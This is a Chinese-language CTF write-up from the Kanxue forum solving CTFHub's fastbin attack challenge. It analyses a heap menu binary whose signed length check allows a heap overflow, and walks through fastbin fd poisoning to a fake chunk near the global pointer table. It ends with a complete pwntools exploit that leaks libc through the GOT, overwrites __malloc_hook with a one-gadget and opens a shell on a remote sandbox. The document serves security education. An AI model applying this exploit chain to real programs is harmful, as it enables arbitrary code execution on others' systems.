【详解】CTFHUB-FastBin Attack

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看雪论坛作者ID：LeaMov

一

程序分析

IDA静态分析

伪代码分析

main()函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  interface();
}
void __noreturn interface()
{
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
 
  v1 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();// 打印菜单;输入1：申请heap；输入2：释放heap；输入3：打印Heap；输入4：编辑Heap
      __isoc99_scanf("%d", &choice);
      if ( choice != 1 )
        break;
      add();//申请heap，固定大小0x60，最多申请10个
    }
    switch ( choice )
    {
      case 2:
        delete();//释放heap，不清空heap，但是heapList的指针会置0
        break;
      case 3:
        show();//printf("%s",heapList[index]->heap)
        break;
      case 4:
        edit();//编辑heap中内容，有长度检查，但不完全有:) !!!EXP Point!!!
        break;
      default:
        exit(-1);
    }
  }
}

add()函数

unsigned __int64 add()
{
  unsigned int i; // [rsp+8h] [rbp-1018h]
  unsigned int index; // [rsp+Ch] [rbp-1014h]
  char v3[4096]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  memset(v3, 0, sizeof(v3));
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heapList + i) )                    // 检测heapList下哪个索引没有使用
    {
      index = i;
      break;
    }
  }
  if ( i == 11 )                                // 最多只能申请10个
  {
    puts("wrong");
    exit(0);
  }
  *(&heapList + index) = malloc(0x60uLL);       // 固定申请0x60字节并存放于全局变量heapList中
  Size[index] = 96;//没什么D用
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

delete()函数

unsigned __int64 delete()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);
  if ( index > 0xB )
  {
    puts("wrong");
    exit(0);
  }
  free(*(&heapList + index));
  *(&heapList + index) = 0LL;//heap指针被置零了，没法double free
  Size[index] = 0;
  return __readfsqword(0x28u) ^ v2;
}

show()函数

unsigned __int64 show()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);
  if ( *(&heapList + index) )
    printf("Content: %s\n", (const char *)*(&heapList + index));//从堆指针起始按字符串打印内容
  return __readfsqword(0x28u) ^ v2;
}

edit()函数【利用点-堆溢出】

unsigned __int64 edit()
{
  int readLength; // [rsp+0h] [rbp-10h] BYREF
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);//用户输入要编辑的heap索引
  puts("Size:");
  __isoc99_scanf("%d", &readLength);//用户输入要编辑的长度
  if ( readLength <= 96 )//有长度检查，但不完全有，有符号数比较输入负数绕过
  {
    if ( *(&heapList + index) )
    {
      puts("Content:");
      read(0, *(&heapList + index), (unsigned int)readLength);//read长度参数是无符号数
    }
    else
    {
      puts("wrong");
    }
  }
  else
  {
    puts("wrong!");
  }
  return __readfsqword(0x28u) ^ v3;
}

GDB调试分析

根据IDA静态分析已知存在堆溢出漏洞，且申请的堆大小固定，释放后会进入fastbins，所以考虑通过篡改fastbin->fd来申请fakeChunk，现查找可利用的fd。

pwndbg> x/30gx 0x6020c0-0x50
0x602070:    0x0000000000000000    0x0000000000000000
0x602080 <stdout@@GLIBC_2.2.5>:    0x00007ffff7bc4620    0x0000000000000000
0x602090 <stdin@@GLIBC_2.2.5>:    0x00007ffff7bc38e0    0x0000000000000000
0x6020a0 <stderr@@GLIBC_2.2.5>:    0x00007ffff7bc4540    0x0000000000000000
0x6020b0:    0x0000000000000000    0x0000000000000000
0x6020c0 <heapList>:    0x0000000000000000    0x0000000000000000
0x6020d0 <heapList+16>:    0x0000000000000000    0x0000000000000000
0x6020e0 <heapList+32>:    0x0000000000000000    0x0000000000000000
0x6020f0 <heapList+48>:    0x0000000000000000    0x0000000000000000
0x602100 <heapList+64>:    0x0000000000000000    0x0000000000000000
0x602110:    0x0000000000000000    0x0000000000000000
0x602120 <Size>:    0x0000000000000000    0x0000000000000000
0x602130 <Size+16>:    0x0000000000000000    0x0000000000000000
0x602140 <Size+32>:    0x0000000000000000    0x0000000000000000

其中0x6020c0是全局变量heapList的地址，其中存着每一个heap的指针，如果可以将该指针修改就可以达到任意读/写，并且在heapList上方存在可利用的内容，通过字节错位将fd指针定于0x60209d，内存如下：

pwndbg> x/30gx 0x60209d
0x60209d:    0xfff7bc4540000000    0x000000000000007f
0x6020ad:    0x0000000000000000    0x0000000000000000
0x6020bd:    0x0000000000000000    0x0000000000000000
0x6020cd <ptr+13>:    0x0000000000000000    0x0000000000000000
0x6020dd <ptr+29>:    0x0000000000000000    0x0000000000000000
0x6020ed <ptr+45>:    0x0000000000000000    0x0000000000000000
0x6020fd <ptr+61>:    0x0000000000000000    0x0000000000000000
0x60210d <ptr+77>:    0x0000000000000000    0x0000000000000000
0x60211d:    0x0000000000000000    0x0000000000000000
0x60212d <Size+13>:    0x0000000000000000    0x0000000000000000
0x60213d <Size+29>:    0x0000000000000000    0x0000000000000000

可以看到若chunk->fd=0x60209d时，size字段为0x7f即0111 1111，而其中末4位为标志位高到低分别是PREV_INUSE IS_MMAPPED NON_MAIN_ARENA SIZE_BITS，既实际大小为0111 0000即0x70，由于我们申请的heap大小固定为0x60，加上字段大小后即0x70，最终的fastbins大小分类一致，可用作构造FakeChunk。

分析总结

根据分析可以总结出一下三点：

① 申请的heap大小固定为0x60，释放后进入fastbins均属于大小分类0x70。

② edit()函数存在整数溢出导致的堆溢出漏洞。

③ 在全局变量heapList上方存在可用于构造FakeChunk的内存区。

二

漏洞利用及原理

可利用漏洞

• 整数溢出漏洞
• 堆溢出漏洞

1.堆溢出之FastBinAttack-Arbitrary Alloc

利用思路

根据分析已知：

所有根据程序菜单申请并释放的heap最终都将进入fastbins->0x70分类链表中。

edit()函数存在堆溢出导致可以随意篡改下方其它chunk的字段和内容。

全局变量heapList上方存在可利用内存区用以构造FakeChunk。

利用流程

根据上述条件准备进行以下攻击：

① 申请3个heap(大小均为0x60)。

② 先后释放#2和#1。

③ 通过edit()函数溢出并篡改heap#1的fd指针指向0x60209d。

④ 重新申请回#1和#2，此时#2已指向fakeChunk->0x60209d。

⑤ 通过edit()修改heap#2填充13字节的payload到达0x6020C0既heapList[0]并向其中填入puts@got。

⑥ 通过show()函数打印出*heapList[0]即puts函数地址并计算出libcBase。

⑦ 通过edit()再次修改heap#2以篡改heapList[0]值为&__malloc_hook或&__free_hook。

⑧ 通过edit()修改heap#0以篡改__malloc_hook或__free_hook以执行oneGadget。

利用原理

对于glibc堆管理的各类bins详细请参见

CTF竞赛权威指南(Pwn篇)->11.1.3章

以下为简述:

程序中申请的大小为0x60的heap释放后均会进入fastbins->0x70分类中（由于glibc版本问题所以并不会进入tcache，调试时请注意使用的glibc版本）；

fastbins是一个后进先出的单链表，除分类中第一个进入的chunk外的每一个chunk->fd字段都指向上一个进入fastbins的chunk，也即当前chunk#1被弹出后下一个应该被弹出的chunk#0，既然这样我们就可以通过申请连续的chunk#0 chunk#1 chunk2并按顺序释放#chunk2、#chunk1，此时的chunk1->fd为#chunk2，意为当我们再次申请大小为0x60时会弹出chunk1并将chunk->fd作为下一个预备弹出的chunk。

此时我们通过edit()编辑chunk#0并且使用堆溢出篡改chunk1->fd使其指向一个fakeChunk，以达到读写fakeChunk的目的；注意：该FakeChunk->size需要符合fastbins的大小分类即0x70，根据上述分析已知在全局变量heapList上方存在符合条件的FakeChunk内存区，所以我们将chunk#1->fd指向该内存区，将其申请到手后可即可结合show() edit()进行任意读写。

可以任意读后即可泄露LibcBase，将函数got地址填入heapList[0]后使用show()函数即可达到泄露，而将&__malloc_hook或&__free_hook填入即可篡改此两个hook的指向，此两个hook的指向在分别在malloc()和free()函数调用时被调用，所以我们可以向其中填入oneGadget并再次调用add()或者delete()使其执行并且getShell。

三

Exploit

from pwn import *
 
prog = "./pwn"
 
local = False
context(os='linux', arch='amd64', log_level='debug')
 
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
 
if local:
    p = process(prog)
    libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
    #gdb.attach(p)
    sleep(1)
else:
    p = remote("challenge-9647de804cb6da45.sandbox.ctfhub.com",34306)
 
def add():
    p.sendlineafter(">> ","1")
 
def show(index):
    p.sendlineafter(">> ","3")
    p.sendlineafter("Index:\n",str(index))
 
def dele(index):
    p.sendlineafter(">> ","2")
    p.sendlineafter("Index:\n",str(index))
 
def edit(index,content):
    p.sendlineafter(">> ","4")
    p.sendlineafter("Index:\n",str(index))
    p.sendlineafter("Size:\n","-1")
    p.sendafter("Content:\n",content)
 
add()#0
add()#1
add()#2
 
dele(2)
dele(1)
 
payload = b"\x99"*0x60
payload += b"\x11"*8
payload += p64(0x71)
payload += p64(0x60209d)
edit(0,payload)
 
add()#1
add()#2 fakeChunk->heapList-0x13
 
payload = b"\x66"*0x13
payload += p64(elf.got['puts'])
edit(2,payload) #此时heap#0指向puts@got
 
show(0)
putsAddress = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("putsAddress ===========> {}".format(hex(putsAddress)))
 
libcBase = putsAddress - libc.sym['puts']
mallocHook = libcBase + libc.sym['__malloc_hook']
 
payload = b"\x66"*0x13
payload += p64(mallocHook)
edit(2,payload) #此时heap#0指向mallocHook
 
oneGadget = 0x45226+libcBase
 
edit(0,p64(oneGadget))#篡改mallocHook指向oneGadget
add()
 
p.interactive()
p.close()

看雪ID：LeaMov

https://bbs.kanxue.com/user-home-952954.htm

*本文由看雪论坛 LeaMov 原创，转载请注明来自看雪社区

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